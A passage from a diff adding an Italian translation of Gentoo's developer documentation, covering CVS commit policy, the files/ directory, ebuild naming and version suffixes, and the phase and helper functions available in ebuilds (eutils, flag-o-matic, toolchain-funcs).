+utenti che utilizzeranno questo pacchetto. Se il pacchetto non dovesse
+funzionare, e non si è molto sicuri su come farlo funzionare, controllare altre
+distribuzioni che hanno già forgiato le loro versioni del pacchetto. È possibile
+controllare <uri
+link="http://cvs.mandriva.com/cgi-bin/viewcv.cgi/SPECS/">Mandriva</uri> o <uri
+link="http://www.debian.org/distrib/packages">Debian</uri> o <uri
+link="http://cvs.fedora.redhat.com/">Fedora</uri> per qualche esempio.
+</p>
+
+<p>
+Quando viene fatto il commit su CVS, tutti gli sviluppatori devono usare
+<c>repoman commit</c> al posto di <c>cvs commit</c> per inviare i propri ebuild.
+Prima di effettuare il commit, eseguire <c>repoman full</c> per essere sicuri di
+non aver dimenticato qualcosa.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Politica di Commit su CVS</title>
+<body>
+
+<ul>
+  <li>Eseguire sempre <c>repoman scan</c> prima del commit.</li>
+  <li>Eseguire sempre <c>repoman full</c> prima del commit.</li>
+  <li>
+    Controllare sempre la correttezza di <path>package.mask</path> tramite il
+    comando <c>emerge --pretend miopacchetto</c> prima del commit e verificare
+    che non ci siano conflitti.
+  </li>
+  <li>Aggiornare sempre il <path>ChangeLog</path> prima del commit.</li>
+  <li>
+    Fate sempre il commit del file <path>package.mask</path> prima del
+    pacchetto aggiornato, in caso ci siano conflitti durante il commit di
+    <path>package.mask</path>.
+  </li>
+  <li>
+    Fare sempre dei commit in modo atomico (ovvero un pezzo alla volta, non
+    tutto insieme); se si esegue il commit di un pacchetto con una nuova
+    licenza, o marcato "masked" (nascosto), prima eseguire il commit del
+    <path>package.mask</path> rivisto e/o della licenza, poi l'ebuild, il
+    <path>ChangeLog</path>, le patch e il file <uri
+    link="?part=2&amp;chap=4">metadata.xml</uri> tutto in <b>una</b> volta,
+    per evitare di rovinare l'installazione degli utenti.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>La directory Files</title>
+<body>
+
+<p>
+Come indicato in precedenza, dentro ad ogni sottodirectory di ogni pacchetto c'è
+una directory <path>files/</path>.  Qualunque patch, file di configurazione o
+altri file ausiliari richiesta dal proprio pacchetto vanno posizionati in questa
+directory; ogni file più grande di 20KB dovrebbe essere posizionato nei mirror
+per diminuire la quantità di file (non necessari) che gli utenti dovranno
+scaricare. Si può considerare di denominare le patch create autonomamente
+solo per far compilare correttamente il pacchetto con un nome specifico in base
+alla versione, per esempio <path>miopacchetto-1.0-gentoo.diff</path> o più
+semplicemente <path>1.0-gentoo.diff</path>. Notare che l'estensione
+<path>gentoo</path> informa gli utenti che la patch è stata creata dagli
+sviluppatori Gentoo, piuttosto che recuperata da qualche mailing list o da altre
+fonti. Si ricorda nuovamente di non comprimere i file diff poiché CVS non
+gestisce in modo agevole i file binari.
+</p>
+
+<p>
+Considerare l'aggiunta di un prefisso o suffisso come
+<path>miopacchetto-1.0</path> al nome di ogni file dai posizionare in
+<path>files/</path>, per far sì che i file usati per ogni versione individuale
+di un ebuild siano distinguibili dagli altri, e che i cambiamenti fra le
+differenti revisioni siano visibili. Questa è generalmente una buona idea :).
+È possibile utilizzare suffissi diversi se si vuole dare maggior significato al
+nome della patch.
+</p>
+
+<p>
+Se si hanno vari file da posizionare in <path>files/</path>, considerare la
+creazione di sottodirectory come ad esempio <path>files/1.0/</path> e mettere i
+rispettivi file nella sottodirectory appropriata. Usando questo metodo, non c'è
+più bisogno di aggiungere le informazioni di versione ai nomi dei file. e spesso
+questa soluzione è più conveniente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Script ebuild</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Gli script ebuild sono la base dell'intero sistema di portage. Essi contengono
+tutte le informazioni necessarie allo scaricamento, estrazione, compilazione e
+all'installazione dei sorgenti, come anche ad eseguire qualsiasi
+installazione/rimozione opzionale o passaggio di configurazione pre/post
+installazione. Mentre la maggior parte di Portage è scritta in Python, gli
+ebuild sono scritti in bash, poiché usando bash è possibile richiamare i comandi
+come da linea di comando. Uno dei più importanti principi di progettazione su
+cui si basano gli script ebuild è l'avere a disposizione gli stessi comandi che
+si scriverebbero da riga di comando in un'installazione manuale del pacchetto.
+Per raggiungere questo scopo, usare la sintassi bash è un'ottima cosa.
+</p>
+
+<p>
+Gli script ebuild vengono interpretati dai comandi <c>ebuild</c> ed
+<c>emerge</c>. Il comando <c>ebuild</c> è uno strumento di costruzione a basso
+livello. Può compilare ed installare un singolo ebuild. Controlla se le
+dipendenze sono soddisfatte, non tenta però di risolverle automaticamente.
+Dall'altra parte, <c>emerge</c> è un motore ad alto livello per <c>ebuild</c>
+ed ha l'abilità di auto-installare le dipendenze se necessarie, eseguire emerge
+<e>simulati</e> in modo che che l'utente possa vedere quali ebuild verranno
+installati, e molto altro. In generale, <c>emerge</c> rimpiazza totalmente
+<c>ebuild</c> tranne che in una area. Con <c>ebuild</c> è possibile eseguire in
+modo incrementale le varie parti dell'installazione di un pacchetto
+(scaricamento, estrazione, compilazione, installazione e "merging" -
+installazione vera e propria nel filesystem) una per volta. Per gli sviluppatori
+questo strumento ha un valore inestimabile, perché permette di isolare i
+problemi degli ebuild in una sua specifica porzione.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Dare il nome ai file ebuild</title>
+<body>
+
+<p>
+Il nome dei file ebuild consiste in quattro sezioni logiche:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Le parentesi (<c>{}</c>) delineano campi opzionali e non compaiono nel nome
+del pacchetto. <c>#</c> rappresenta un qualunque numero intero positivo diverso
+da zero.
+</note>
+
+<p>
+La prima sottosezione, <c>pkg</c>, è il nome del pacchetto, che dovrebbe
+contenere solo lettere minuscole, cifre 0-9 e un qualsiasi numero di
+questi caratteri : trattino singolo (<c>-</c>), "underscore" (<c>_</c>) o segno
+più (<c>+</c>). Ad esempio: <c>util-linux</c>, <c>sysklogd</c> e <c>gtk+</c>. Ci
+sono alcuni pacchetti in portage che non seguono queste regole, però i
+<e>propri</e> pacchetti dovrebbero farlo.
+</p>
+
+<p>
+La seconda sottosezione, <c>ver</c>, è la versione del pacchetto, che
+dovrebbe essere normalmente la stessa dei sorgenti del tarball principale. La
+versione è solitamente formata da 2 o 3 (o più) numeri separati da punti, come
+<c>1.2</c> o <c>4.5.2</c>, e può  avere una lettera singola che segue l'ultima
+cifra, esempi: <c>1.4b</c> o <c>2.6h</c>. La versione del pacchetto viene
+collegata al suo nome con un trattino, ad esempio: <c>foo-1.0</c>,
+<c>bar-2.4.6</c>.
+</p>
+
+<impo>
+Se si sta pensando di usare una lettera nella versione del proprio pacchetto,
+ricordarsi che le lettere in coda <e>non</e> si possono usare per indicare lo
+status alpha o beta per un pacchetto, in quanto alpha e beta sono
+<e>prerelease</e> e le revisioni sono <e>nuove versioni</e>. Questa è
+un'importante distinzione perché portage usa il numero di versione dell'ebuild
+per determinare se è più nuova o più vecchia degli altri pacchetti con la stessa
+categoria e lo stesso nome.  È molto importante che questo numero di versione
+rappresenti fedelmente la versione del pacchetto per permettere a Portage di
+eseguire in modo appropriato il controllo delle dipendenze.
+</impo>
+
+<p>
+La terza sottosezione <c>{_suf{#}}</c>, è opzionale e può contenere uno tra
+questi suffissi predefiniti, ordinati dal meno recente al più recente:
+</p>
+
+<table>
+<tr>
+  <th>Suffisso</th>
+  <th>Significato</th>
+</tr>
+<tr>
+  <ti><c>_alpha</c></ti>
+  <ti>Alpha release</ti>
+</tr>
+<tr>
+  <ti><c>_beta</c></ti>
+  <ti>Beta release</ti>
+</tr>
+<tr>
+  <ti><c>_pre</c></ti>
+  <ti>Prerelease</ti>
+</tr>
+<tr>
+  <ti><c>_rc</c></ti>
+  <ti>Release candidate</ti>
+</tr>
+<tr>
+  <ti>(nessuno)</ti>
+  <ti>Normale release</ti>
+</tr>
+<tr>
+  <ti><c>_p</c></ti>
+  <ti>Livello di patch (seguito da un numero intero)</ti>
+</tr>
+</table>
+
+<p>
+Ognuno di questi suffissi può essere seguito da un numero intero positivo
+diverso da zero, per esempio <c>linux-2.4.0_pre10</c>. Assumendo che le parti
+della versione siano identiche, i suffissi sono ordinati come segue (il più
+basso significa il più vecchio): <c>_alpha</c> &lt; <c>_beta</c> &lt;
+<c>_pre</c> &lt; <c>_rc</c> &lt; (nessun suffisso) &lt; <c>_p</c>.
+</p>
+
+<p>
+Quando si comparano suffissi identici seguiti da numeri interi, quello con il
+numero intero più grande sarà considerato più recente. Esempio:
+<c>foo-1.0_alpha4</c> è più recente di <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+La quarta sottosezione del nome di un pacchetto è il numero di revisione
+specifico di Gentoo Linux, (<c>{-r#}</c>). <c>#</c> è un numero intero positivo
+diverso da zero; esempio, <c>package-4.5.3-r3</c>.
+</p>
+
+<p>
+Questo numero di revisione è indipendente dalla versione del sorgente tarball
+ed è usato per informare le persone che è disponibile una nuova e migliorata
+revisione Gentoo Linux di un pacchetto. Le versioni iniziali degli ebuild non
+devono avere nessun numero di revisione; per esempio, <c>package-4.5.3</c> viene
+considerato da portage con un numero di revisione pari a zero.  Questo significa
+che l'ordine è come segue: <c>1.0</c> (versione iniziale), <c>1.0-r1</c>,
+<c>1.0-r2</c>, ecc.
+</p>
+
+<p>
+Se si introducono miglioramenti significativi ad un ebuild esistente, copiarlo
+in un nuovo file con il numero di revisione incrementato di 1. Ricordarsi
+<e>sempre</e> di menzionare i cambiamenti nel <path>ChangeLog</path> quando c'è
+una revisione <b>e</b> di inserire un messaggio sul CVS riguardante il proprio
+commit, non farlo è contro la politica del CVS.
+</p>
+
+<p>
+Ovviamente c'è la <e>quinta</e> sezione del nome di un ebuild -- l'estensione
+<c>.ebuild</c> stessa.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Contenuti di un file ebuild</title>
+<body>
+
+<p>
+Questa sezione è una introduzione agli ebuild. Per l'elenco completo di ogni
+cosa possibile riguardante gli ebuild, c'è una pagina man che spiega il formato
+interno, le variabili, e le funzioni in uno script ebuild: <c>man 5 ebuild</c>.
+</p>
+
+<p><b>Header</b></p>
+
+<p>
+Quando si invia un ebuild, l'intestazione, o "header", dovrebbe essere
+<e>esattamente</e> uguale a quello in <path>/usr/portage/header.txt</path>.
+Ancora più importante, non modificarlo per nessun motivo e accertarsi che la
+riga <c>&#36;Header: &#36;</c> sia intatta.
+</p>
+
+<p>
+Le prime tre righe dovrebbe essere simile a queste:
+</p>
+
+<pre caption="Header valido">
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p><b>Variabili</b></p>
+
+<p>
+La prima parte di ogni ebuild è composta da un certo numero di
+variabili.Consultare la relativa sezione nel <uri
+link="http://devmanual.gentoo.org/ebuild-writing/variables/index.html">
+devmanual</uri> per le informazioni sulle diverse variabili disponibili.
+</p>
+
+<p><b>Funzioni</b></p>
+
+<p>
+In un file ebuild si possono definire varie funzioni per controllare il processo
+di compilazione e installazione del proprio pacchetto.
+</p>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Scopo</th>
+</tr>
+<tr>
+  <ti><c>pkg_setup</c></ti>
+  <ti>
+    Usare questa funzione per eseguire delle operazioni essenziali di qualunque
+    tipo. Ciò può includere il controllo di file di configurazione esistenti.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_nofetch</c></ti>
+  <ti>
+    Informa l'utente sulle azioni necessarie da eseguire se per qualche ragione
+    (per esempio limitazioni della licenza) i sorgenti non possono essere
+    scaricabili automaticamente. Usare questa funzione insieme a
+    <c>RESTRICT="fetch"</c>. In questa funzione si devono visualizzare solamente
+    dei messaggi, mai invocare <c>die</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_unpack</c></ti>
+  <ti>
+    Usare questa funzione per estrarre i sorgenti, applicare patch, ed
+    eseguire programmi ausiliari come gli autotools. Il comportamento
+    predefinito di questa funzione è l'estrazione dei pacchetti elencati in
+    <c>A</c>. La directory di lavoro iniziale è definita da <c>WORKDIR</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_compile</c></ti>
+  <ti>
+    Usare questa funzione per configurare e compilare il pacchetto. La
+    directory di lavoro iniziale è <c>S</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_install</c></ti>
+  <ti>
+    Usare questa funzione per installare il pacchetto in un'immagine in
+    <c>D</c>. Se il proprio pacchetto usa automake, si può farlo semplicemente
+    tramite <c>emake DESTDIR=${D} install</c>. <e>Assicurarsi che il pacchetto
+    installi i  file utilizzando <c>D</c> come root!</e> La directory di lavoro
+    iniziale è <c>S</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_test</c></ti>
+  <ti>
+    Eseguito solo quando <c>FEATURES="test"</c> è impostato e
+    <c>RESTRICT="test"</c> non è impostato, questa funzione esegue in modo
+    predefinito una funzione di testing offerto da qualsiasi Makefile nella
+    directory <c>${S}</c>, eseguendo o "make test" o "make check", in base a
+    cosa forniscono i Makefile. Può essere sovrascritto per generare un setup
+    di test personalizzato.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_preinst</c></ti>
+  <ti>
+    I comandi vengono eseguiti appena <e>prima dell'installazione (merge)</e>
+    dell'immagine del pacchetto nel filesystem.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postinst</c></ti>
+  <ti>
+    I comandi vengono eseguiti appena <e>dopo l'installazione (merge)</e>
+    dell'immagine del pacchetto nel filesystem.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_prerm</c></ti>
+  <ti>
+    I comandi vengono eseguiti appena <e>prima della rimozione (unmerge)</e>
+    dell'immagine del pacchetto dal filesystem.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postrm</c></ti>
+  <ti>
+    I comandi vengono eseguiti appena <e>dopo la rimozione (unmerge)</e>
+    dell'immagine del pacchetto dal filesystem.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_config</c></ti>
+  <ti>
+    È possibile usare questa funzione per predisporre una configurazione
+    iniziale del pacchetto dopo la sua installazione. Tutti i percorsi in questa
+    funzione devono avere il prefisso <c>ROOT</c> che punta ad una directory
+    radice specificata  dall'utente che potrebbe non essere <path>/</path>.
+    Questa funzione viene eseguita <e>solo</e> e quando l'utente esegue:
+    <c>emerge --config =${PF}</c>.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funzioni di assistenza</b>
+</p>
+
+<p>
+Negli ebuild, inoltre, si possono usare le seguenti funzioni di assistenza .
+</p>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Scopo</th>
+</tr>
+<tr>
+  <ti><c>use</c></ti>
+  <ti>
+    Controlla se una o più flag USE prestabilite sono definite. Se ciò è vero,
+    la funzione restituisce "vero" alla shell. In ogni altro caso non viene
+    stampato nulla sullo standard output. Per una versione verbosa, usare
+    <c>usev</c>, che visualizza le flag USE eventualmente definite.
+  </ti>
+</tr>
+<tr>
+  <ti><c>has_version</c></ti>
+  <ti>
+    Ritorna 1 se il sistema ha la versione richiesta di un certo pacchetto. Per
+    esempio <c>has_version >=sys-libs/glibc-2.3.0</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>best_version</c></ti>
+  <ti>
+    Restituisce la <path>categoria/pacchetto-versione</path> del
+    <path>categoria/pacchetto</path> richiesto. Per esempio <c>best_version
+    x11-libs/gtk+extra</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_with</c></ti>
+  <ti>
+    Questa funzione controlla se una flag use è stata definita e di conseguenza
+    restituisce "--with-foobar"; o "--without-foobar". Se viene usato un solo
+    argomento, esso sarà usato sia per la flag USE sia per la stringa
+    with(out)-string. Altrimenti il primo argomento sarà la flag USE e il
+    secondo argomento la stringa with(out)-string. Per esempio <c>use_with
+    truetype freetype</c> restituirà "--with-freetype" se truetype è nelle
+    <c>USE</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_enable</c></ti>
+  <ti>
+    Uguale a <c>use_with</c>, ma restituisce rispettivamente "--enable-foobar" o
+    "--disable-foobar".
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_KV</c></ti>
+  <ti>
+    Controlla se Portage conosce la versione del kernel. Se non la conosce,
+    visualizza un errore e termina. Se si necessita della versione del kernel
+    nel proprio script, usare la variabile <c>KV</c>, che viene automaticamente
+    definita da Portage. In un sistema che esegue gentoo-sources-2.4.20-r6,
+    <c>KV</c> avrebbe il valore "2.4.20".
+  </ti>
+</tr>
+<tr>
+  <ti><c>keepdir</c></ti>
+  <ti>
+    Crea (se necessario) un file <path>.keep</path> nella directory data in
+    modo da non farla rimuovere automaticamente durante il processo di rimozione
+    del pacchetto. Non creare <e>mai</e> autonomamente un file
+    <path>.keep</path>. Se portage cambiasse la modalità di funzionamento di
+    <c>keepdir</c>, creare autonomamente il file potrebbe corrompere il
+    pacchetto.
+  </ti> </tr> <tr>
+  <ti><c>econf</c></ti>
+  <ti>
+    Esegue <c>./configure</c> con le opportune modifiche ai percorsi (prefix,
+    host, mandir, infodir, datadir, sysconfdir, localstatedir). Facoltativamente
+    è possibile passare degli argomenti extra a <c>./configure</c>
+    specificandoli nella chiamata di <c>econf</c>, e gli utenti possono
+    impostare la variabile di ambiente <c>EXTRA_ECONF</c>. Opzioni passate a
+    configure hanno la precedenza in ordine inverso rispetto a come vengono
+    fornite. In altre parole, il primo argomento sarà sempre sovrascritto
+    dall'ultimo.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einstall</c></ti>
+  <ti>
+    Esegue <c>make install</c> con le opportune modifiche ai percorsi (prefix,
+    datadir, mandir, infodir, datadir, sysconfdir, localstatedir). Di nuovo,
+    è possibile passare argomenti extra al comando make specificandoli nella
+    chiamata di <c>einstall</c>. Notare che il modo preferito di installare un
+    pacchetto è tramite il comando <c>emake install DESTDIR=${D}</c>, non
+    tramite <c>einstall</c>. Questo comando è soltanto un ripiego per
+    sovrapporsi al comportamento di makefile malfunzionanti.
+  </ti>
+</tr>
+<tr>
+  <ti><c>die</c></ti>
+  <ti>
+    Causa l'annullamento del processo corrente. Avviserà l'utente usando
+    l'argomento fornito come motivazione. Non trascurare di passare un messaggio
+    a <c>die</c>  se c'è più di una chiamata ad esso in una singola funzione. E'
+    più difficile rintracciare un guasto se non si ha la certezza di <c>dove</c>
+    il pacchetto fallisca.
+  </ti>
+</tr>
+<tr>
+  <ti><c>elog</c></ti>
+  <ti>
+    Informa l'utente su qualcosa di importante. L'argomento fornito ad
+    <c>elog</c> è il messaggio che l'utente vedrà. Non usare <c>elog</c> per
+    visualizzare banner come "*************************************". Il fatto
+    che si stia usando <c>elog</c> è sufficiente per ottenere l'attenzione
+    dell'utente. Il  messaggio viene inoltre registrato tramite il sistema ELOG
+    di portage.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einfo</c></ti>
+  <ti>
+    Visualizza messaggi informativi ma non importanti, che non richiedono la
+    registrazione.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funzioni di assistenza fornite da eutils.eclass</b>
+</p>
+
+<p>
+Si possono usare nei propri ebuild le seguenti funzioni di assistenza fornite
+dall'eclass "eutils" . Assicurarsi che <c>inherit eutils</c> sia presente
+affinché queste funzioni vengano eseguite correttamente.
+</p>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Scopo</th>
+</tr>
+<tr>
+  <ti><c>epatch</c></ti>
+  <ti>
+    Questa funzione agisce come alternativa semplificata del comando
+    <c>patch</c> e funziona con archivi .bz2, .gz, .zip e patch di puro testo.
+    Non occorre specificare una opzione "-p", ogni opzione che dev'essere
+    specificata può essere dichiarata in <c>EPATCH_OPTS</c>. La funzione
+    prevede come argomenti o un file o una directory - se viene specificata una
+    directory, verranno applicate tutte le patch nella forma di "??_${ARCH}_..."
+    : affinché una patch venga applicata, deve corrispondere all'architettura
+    in esecuzione, avere "_all_" nel nome, o <c>EPATCH_FORCE</c> deve essere
+    impostato a "yes".
+  </ti>
+</tr>
+<tr>
+  <ti><c>gen_usr_ldscript</c></ti>
+  <ti>
+    Questa funzione genera script linker in /usr/lib per librerie dinamiche
+    in /lib. Questo corregge problemi di link quando un .so è in /lib mentre
+    un .a è in /usr/lib.
+  </ti>
+</tr>
+<tr>
+  <ti><c>edos2unix</c></ti>
+  <ti>
+    Questa funzione effettua la stessa azione del binario <c>dos2unix</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>egetent</c></ti>
+  <ti>
+    egetent agisce come wrapper per <c>getent</c> per Linux o <c>nidump</c> per
+    Mac OS X (R).
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewuser</c></ti>
+  <ti>
+    Crea un nuovo utente. Questa funzione si aspetta un argomento obbligatorio
+    con il nome utente, e possono essere specificati molti argomenti facoltativi
+    : <c>$2</c> contiene un UID, passare -1 per il successivo ID disponibile;
+    <c>$3</c> contiene la shell, passare -1 per quella predefinita; <c>$4</c>
+    contiene una directory home con <path>/dev/null</path> come predefinita,
+    <c>$5</c> contiene  tutti i gruppi ai quali l'utente dovrebbe essere
+    aggiunto, predefinito come vuoto e <c>$6</c> contiene qualsiasi altra
+    opzione si voglia passare ad useradd.
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewgroup</c></ti>
+  <ti>
+    Aggiunge un nuovo gruppo. Questa funzione si aspetta un argomento
+    obbligatorio con il nome del gruppo - un secondo argomento facoltativo
+    assegna al gruppo uno GID specifico.
+  </ti>
+</tr>
+<tr>
+  <ti><c>make_desktop_entry</c></ti>
+  <ti>
+    Crea una voce per il menù desktop: il primo argomento contiene il percorso
+    al binario. Facoltativamente il secondo contiene un nome per l'icona -
+    il valore predefinita è <c>${PN}</c>; il terzo può contenere un percorso
+    all'icona relativo a <path>/usr/share/pixmaps</path> o un percorso completo
+    - il valore predefinito è <c>${PN}</c>.png; il quarto può contenere una <uri
+    link="http://standards.freedesktop.org/menu-spec/latest/apa.html">categoria
+    di applicazioni</uri>, e il quinto argomento contiene facoltativamente un
+    percorso di avvio per l'applicazione.
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_license</c></ti>
+  <ti>
+    Visualizza una licenza che l'utente dovrò accettare, se l'argomento non è
+    specificato allora viene usata la licensa specificata da <c>${LICENSE}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_pdv</c></ti>
+  <ti>
+    Estrae un archivio pdv generato, il primo argomento deve contenere il file
+    da estrarre e il secondo dovrebbe contenere "off_t" il quale deve essere
+    generato manualmente: eseguire <c>strace -elseek ${file}</c> e ottenendo
+    qualcosa come "lseek(3, -4, SEEK_END)" si potrebbe passare il valore "4".
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_makeself</c></ti>
+  <ti>
+    Estrae un archivio auto generato, richiede un file da estrarre come
+    argomento.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_get_cds</c></ti>
+  <ti>
+    Tenta di recuperare dei file da un CD, specificati dagli argomenti presente
+    sul sistema e montato su <c>${CDROM_ROOT}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_load_next_cd</c></ti>
+  <ti>
+    Carica il prossimo CD una volta finito con il primo CD. Se la funzione
+    ritorna, <c>${CDROM_ROOT}</c> punterebbe al prossimo CD.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-linguas</c></ti>
+  <ti>
+    Questa funzione assicura che LINGUAS contenga solo i linguaggi che un
+    pacchetto può supportare specificati dagli argomenti passati alla funzione.
+    Se il primo argomento è -i, viene compilata una lista di file .po nelle
+    directory specificate e viene usata l'intersezione delle liste. Se il primo
+    argomento è -u, viene compilata una lista di file .po nelle directory
+    specificate e viene usata l'unione delle liste.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funzioni di assistenza fornite da flag-o-matic.eclass</b>
+</p>
+
+<p>
+È possibile usare nei propri ebuild le seguenti funzioni di assistenza fornite
+dall'eclass "flag-o-matic". Assicurarsi che <c>inherit flag-o-matic</c> sia
+presente affinché queste funzioni vengano eseguite correttamente. Non si
+dovrebbero mai modificare direttamente le impostazioni del compilatore, usare
+invece flag-o-matic per effettuare qualsiasi azioni come filtrare le flag che
+causano problemi.
+</p>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Scopo</th>
+</tr>
+<tr>
+  <ti><c>filter-flags</c></ti>
+  <ti>
+    Questa funzione rimuove particolari flag da <c>C[XX]FLAGS</c> - la
+    corrispondenza viene verificata solo su flag complete.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-flags</c></ti>
+  <ti>
+    Questa funzione aggiunge flag extra alle variabili <c>C[XX]FLAGS</c>
+    esistenti.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-flags</c></ti>
+  <ti>
+    Sostituisce la flag specificata dal primo argomento con quella nel secondo
+    argomento nelle variabili <c>C[XX]FLAGS</c> correnti.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-cpu-flags</c></ti>
+  <ti>
+    Necessita di due argomenti. Sostituisce un dato valore di mtune/march/mcpu
+    con quello nuovo (tipo così: replace-cpu-flags 'i686' 'i586' sostituirà
+    -mtune/-march/-mcpu=i686 con -mtune/-march/-mcpu=i586).
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-flags</c></ti>
+  <ti>
+    Rimuove tutte le flag, tranne quelle specificate in <c>ALLOWED_FLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-unsupported-flags</c></ti>
+  <ti>
+    Rimuove da <c>C[XX]FLAGS</c> ogni flag non supportata dalla versione in uso
+    di GCC.
+  </ti>
+</tr>
+<tr>
+  <ti><c>get-flag</c></ti>
+  <ti>Trova una flag e stampa il suo valore.</ti>
+</tr>
+<tr>
+  <ti><c>is-flag</c></ti>
+  <ti>
+    Ritorna vero se la flag è impostata nelle variabili <c>C[XX]FLAGS</c>
+    correnti; vengono verificate solamente corrispondenze complete.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-ldflags</c></ti>
+  <ti>
+    Questa funzione aggiunge flag extra alla variabile <c>LDFLAGS</c> esistente.
+  </ti>
+</tr>
+<tr>
+  <ti><c>filter-ldflags</c></ti>
+  <ti>
+    Rimuove le flag specificate da <c>LDFLAGS</c>, la corrispondenza viene
+    verificata solo su flag complete.
+  </ti>
+</tr>
+<tr>
+  <ti><c>fstack-flags</c></ti>
+  <ti>
+    Aggiunge -fno-stack-protector la quale sopprime -fstack-protector e
+    -fstack-protector-all.
+  </ti>
+</tr>
+</table>
+
+<p><b>Funzioni di assistenza fornite da toolchain-funcs.eclass</b></p>
+
+<p>
+Si possono usare nei propri ebuild le seguenti funzioni di assistenza fornite
+dall'eclass "toolchain-funcs". Assicurarsi che <c>inherit toolchain-funcs</c>
+sia presente affinché queste funzioni vengano eseguite correttamente. Non si
+dovrebbe mai specificare direttamente alcuna impostazione del compilatore o di
+binutils, usare invece toolchain-funcs per specificare compilatori e binutils.
+</p>
+
+<p>
+Lo scopo di usare queste funzioni è quello di supportare il cross-compiling e il
+compilatore icc. Esse dovrebbero essere usate quando un pacchetto usa
+esplicitamente gcc, g++, ld, ranlib o qualunque di questi strumenti elencati di
+seguito. Generalmente i pacchetti che usano strumenti di autoconfigurazione
+rilevano automaticamente il cross compiling e non necessitano di queste
+funzioni.
+</p>
+
+<table>
+<tr>
+  <th>Funzione</th>
+  <th>Scopo</th>
+</tr>
+<tr>
+  <ti><c>tc-getAR</c></ti>
+  <ti>Restituisce il nome dell'archiviatore</ti>
+</tr>
+<tr>
+  <ti><c>tc-getAS</c></ti>
+  <ti>Restituisce il nome dell'assemblatore</ti>
+</tr>
+<tr>
+  <ti><c>tc-getCC</c></ti>
+  <ti>Restituisce il nome del compilatore C</ti>
+</tr>
+<tr>
+  <ti><c>tc-getCXX</c></ti>
+  <ti>Restituisce il nome del compilatore C++</ti>
+</tr>
+<tr>
+  <ti><c>tc-getLD</c></ti>
+  <ti>Restituisce il nome del linker</ti>
+</tr>
+<tr>
+  <ti><c>tc-getNM</c></ti>
+  <ti>Restituisce il nome dello strumento d'ispezione di oggetti/simboli</ti>
+</tr>
+<tr>
+  <ti><c>tc-getRANLIB</c></ti>
+  <ti>Restituisce il nome dell'indicizzatore dell'archiviatore</ti>
+</tr>
+<tr>
+  <ti><c>tc-getF77</c></ti>
+  <ti>Restituisce il nome del compilatore fortran</ti>
+</tr>
+<tr>
+  <ti><c>tc-getGCJ</c></ti>
+  <ti>Restituisce il nome del compilatore java</ti>
+</tr>
+<tr>
+  <ti><c>tc-getBUILD_CC</c></ti>
+  <ti>Restituisce il nome del compilatore C per la compilazione</ti>
+</tr>
+<tr>
+  <ti><c>tc-is-cross-compiler</c></ti>
+  <ti>Un modo semplice per vedere se si sta usando un cross-compiler</ti>
+</tr>
+<tr>
+  <ti><c>gcc-fullversion</c></ti>
+  <ti> Ritorna la versione come da $($CC -dumpversion)</ti>
+</tr>
+<tr>
+  <ti><c>gcc-version</c> </ti>
+  <ti>Ritorna la versione, ma solo &lt;major>.&lt;minor></ti>
+</tr>
+<tr>
+  <ti><c>gcc-major-version</c></ti>
+  <ti>Ritorna la versione maggiore</ti>
+</tr>
+<tr>
+  <ti><c>gcc-minor-version</c></ti>
+  <ti>Ritorna la versione minore</ti>
+</tr>
+<tr>
+  <ti><c>gcc-micro-version</c></ti>
+  <ti>Ritorna la versione micro</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Regole di scrittura di un file ebuild</title>
+<body>
+
+<p>
+Poiché i file ebuild sono semplicemente degli shell script, è possibile
+modificarli tramite gli usuali strumenti con cui si modificano gli script di
+shell. Si deve usare una certa indentazione, usare solo caratteri di tabulazione
+-- <e>non spazi</e>. Assicurarsi di configurare il proprio editor in modo da
